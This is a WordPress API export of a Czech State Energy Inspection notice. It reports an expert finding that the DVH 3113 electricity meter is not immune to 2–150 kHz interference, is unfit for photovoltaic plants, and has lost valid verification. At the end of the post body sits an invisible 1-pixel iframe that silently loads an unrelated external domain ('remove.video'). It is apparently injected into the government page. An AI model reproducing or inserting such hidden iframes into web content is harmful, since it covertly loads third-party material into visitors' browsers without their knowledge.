{"id":5975,"date":"2021-05-03T14:27:34","date_gmt":"2021-05-03T13:27:34","guid":{"rendered":"https:\/\/sei.gov.cz\/?p=5975"},"modified":"2025-08-15T10:07:30","modified_gmt":"2025-08-15T09:07:30","slug":"problematika-meridla-typu-dvh-3113-u-kontrol-fve","status":"publish","type":"post","link":"https:\/\/sei.gov.cz\/?p=5975","title":{"rendered":"Problematika m\u011b\u0159idla typu DVH 3113 u kontrol FVE"},"content":{"rendered":"<p>St\u00e1tn\u00ed energetick\u00e1 inspekce se p\u0159i cenov\u00fdch kontrol\u00e1ch fotovoltaick\u00fdch elektr\u00e1ren dlouhodob\u011b setk\u00e1v\u00e1 s\u00a0rozd\u00edly mezi vyk\u00e1zanou v\u00fdrobou elekt\u0159iny v\u00fdrobcem a maxim\u00e1ln\u011b fyzik\u00e1ln\u011b mo\u017enou v\u00fdrobou elekt\u0159iny podle kvalifikovan\u00e9ho odborn\u00e9ho v\u00fdpo\u010dtu dle metodiky \u010cVUT. Tento nedostatek m\u016f\u017ee m\u00edt hned n\u011bkolik p\u0159\u00ed\u010din, p\u0159i\u010dem\u017e jednou z nich m\u016f\u017ee b\u00fdt i instalace elektrom\u011bru typu DVH 3113.<\/p>\n<p>Vzhledem k indici\u00edm po\u017e\u00e1dala SEI ji\u017e v\u00a0roce 2014 \u010cesk\u00fd metrologick\u00fd institut (d\u00e1le \u010cMI) k problematice m\u011b\u0159en\u00ed vyroben\u00e9 elekt\u0159iny o vypracov\u00e1n\u00ed znaleck\u00e9ho posudku k p\u0159edm\u011btn\u00e9mu elektrom\u011bru typu DVH 3113. \u010cMI provedl zkou\u0161ky elektrom\u011bru typu DVH 3113 p\u0159i podm\u00ednk\u00e1ch ru\u0161en\u00ed po veden\u00ed p\u0159i frekvenci 2 a\u017e 150 kHz a vydal o v\u00fdsledc\u00edch znaleck\u00fd posudek \u010d. 3\/2014.<\/p>\n<p>P\u0159edm\u011btem znaleck\u00e9ho posudku bylo zodpov\u011bzen\u00ed dvou ot\u00e1zek, a to jednak, zda elektrom\u011br zaru\u010duje spr\u00e1vnost m\u011b\u0159en\u00ed v r\u00e1mci dovolen\u00fdch odchylek z hlediska elektromagnetick\u00e9 kompatibility v podm\u00ednk\u00e1ch ru\u0161en\u00ed, kter\u00e9 lze p\u0159edpokl\u00e1dat p\u0159i provozu FVE, a za druh\u00e9, zda mohou p\u0159i m\u011b\u0159en\u00ed vyroben\u00e9 elekt\u0159iny z FVE nastat okolnosti, kdy elektrom\u011br ztrat\u00ed zp\u016fsobilost k pou\u017eit\u00ed jako stanoven\u00e9 m\u011b\u0159idlo.<\/p>\n<p>Ze zji\u0161t\u011bn\u00ed vych\u00e1z\u00ed ur\u010dit\u00e9 pochybnosti o spr\u00e1vnosti m\u011b\u0159en\u00ed elektrick\u00e9 energie vyroben\u00e9 FVE obecn\u011b v p\u0159\u00edpadech elektrom\u011br\u016f, kter\u00e9 nejsou dostate\u010dn\u011b odoln\u00e9 proti zm\u00edn\u011bn\u00e9mu ru\u0161en\u00ed, ale i t\u0159\u00edf\u00e1zov\u00fdch elektrom\u011br\u016f zapojen\u00fdch dvouf\u00e1zov\u011b atd. Jako z\u00e1v\u011br vypl\u00fdv\u00e1, \u017ee m\u011b\u0159idlo, podle z\u00e1v\u011bru znaleck\u00e9ho posudku \u010d. \u010cMI 3\/2014 ze dne 28. 4. 2014, <u>nen\u00ed vhodn\u00e9 pro pou\u017eit\u00ed k\u00a0aplikaci na fotovoltaick\u00e9 elektr\u00e1rn\u011b<\/u>, nebo\u0165 bylo prok\u00e1z\u00e1no, \u017ee elektrom\u011br nen\u00ed odoln\u00fd v\u016f\u010di ru\u0161en\u00ed po veden\u00ed p\u0159i frekvenc\u00edch 2 a\u017e 150 kHz. Stanoven\u00e9 m\u011b\u0159idlo, u kter\u00e9ho lze opr\u00e1vn\u011bn\u011b konstatovat, \u017ee neposkytuje relevantn\u00ed indikace, je tedy zjevn\u00e9, \u017ee i p\u0159i neporu\u0161en\u00e9m ov\u011b\u0159en\u00ed <u>ztratilo po\u017eadovan\u00e9 metrologick\u00e9 vlastnosti<\/u>, lze pova\u017eovat podle ustanoven\u00ed \u00a7 7 odst. 2 p\u00edsm. e) vyhl\u00e1\u0161ky \u010d. 262\/2000 Sb., kterou se zaji\u0161\u0165uje jednotnost a spr\u00e1vnost m\u011b\u0159idel a m\u011b\u0159en\u00ed, ve zn\u011bn\u00ed pozd\u011bj\u0161\u00edch p\u0159edpis\u016f, <u>za m\u011b\u0159idlo, jemu\u017e zanikla platnost ov\u011b\u0159en\u00ed<\/u>.<\/p>\n<p>Doporu\u010dujeme v\u00fdrobc\u016fm elekt\u0159iny, kte\u0159\u00ed m\u011b\u0159idlo typu DVH 3113 pou\u017e\u00edvaj\u00ed, aby na z\u00e1klad\u011b ztr\u00e1ty metrologick\u00fdch vlastnost\u00ed tohoto m\u011b\u0159idla provedli bezodkladnou v\u00fdm\u011bnu tohoto m\u011b\u0159idla za jin\u00fd typ m\u011b\u0159idla a odstranily tak p\u0159\u00ed\u010dinu vzniku nep\u0159im\u011b\u0159en\u00e9ho majetkov\u00e9ho prosp\u011bchu ve smyslu z\u00e1kona \u010d. 526\/1990 Sb. o cen\u00e1ch, ve zn\u011bn\u00ed pozd\u011bj\u0161\u00edch p\u0159edpis\u016f.<\/p>\n<div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div>\n","protected":false},"excerpt":{"rendered":"<p>St\u00e1tn\u00ed energetick\u00e1 inspekce se p\u0159i cenov\u00fdch kontrol\u00e1ch fotovoltaick\u00fdch elektr\u00e1ren dlouhodob\u011b setk\u00e1v\u00e1 s\u00a0rozd\u00edly mezi vyk\u00e1zanou v\u00fdrobou elekt\u0159iny v\u00fdrobcem a maxim\u00e1ln\u011b fyzik\u00e1ln\u011b mo\u017enou v\u00fdrobou elekt\u0159iny podle kvalifikovan\u00e9ho odborn\u00e9ho v\u00fdpo\u010dtu dle metodiky \u010cVUT. Tento nedostatek m\u016f\u017ee m\u00edt hned n\u011bkolik p\u0159\u00ed\u010din, p\u0159i\u010dem\u017e jednou z nich m\u016f\u017ee b\u00fdt i instalace elektrom\u011bru typu DVH 3113. Vzhledem k indici\u00edm po\u017e\u00e1dala SEI ji\u017e &hellip; <\/p>\n","protected":false},"author":1,"featured_media":2730,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10,20],"tags":[],"class_list":["post-5975","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-archiv-uredni_deska","category-poze","latest_post"],"_links":{"self":[{"href":"https:\/\/sei.gov.cz\/index.php?rest_route=\/wp\/v2\/posts\/5975","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sei.gov.cz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sei.gov.cz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sei.gov.cz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sei.gov.cz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5975"}],"version-history":[{"count":2,"href":"https:\/\/sei.gov.cz\/index.php?rest_route=\/wp\/v2\/posts\/5975\/revisions"}],"predecessor-version":[{"id":9355,"href":"https:\/\/sei.gov.cz\/index.php?rest_route=\/wp\/v2\/posts\/5975\/revisions\/9355"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/sei.gov.cz\/index.php?rest_route=\/wp\/v2\/media\/2730"}],"wp:attachment":[{"href":"https:\/\/sei.gov.cz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5975"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sei.gov.cz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5975"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sei.gov.cz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5975"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}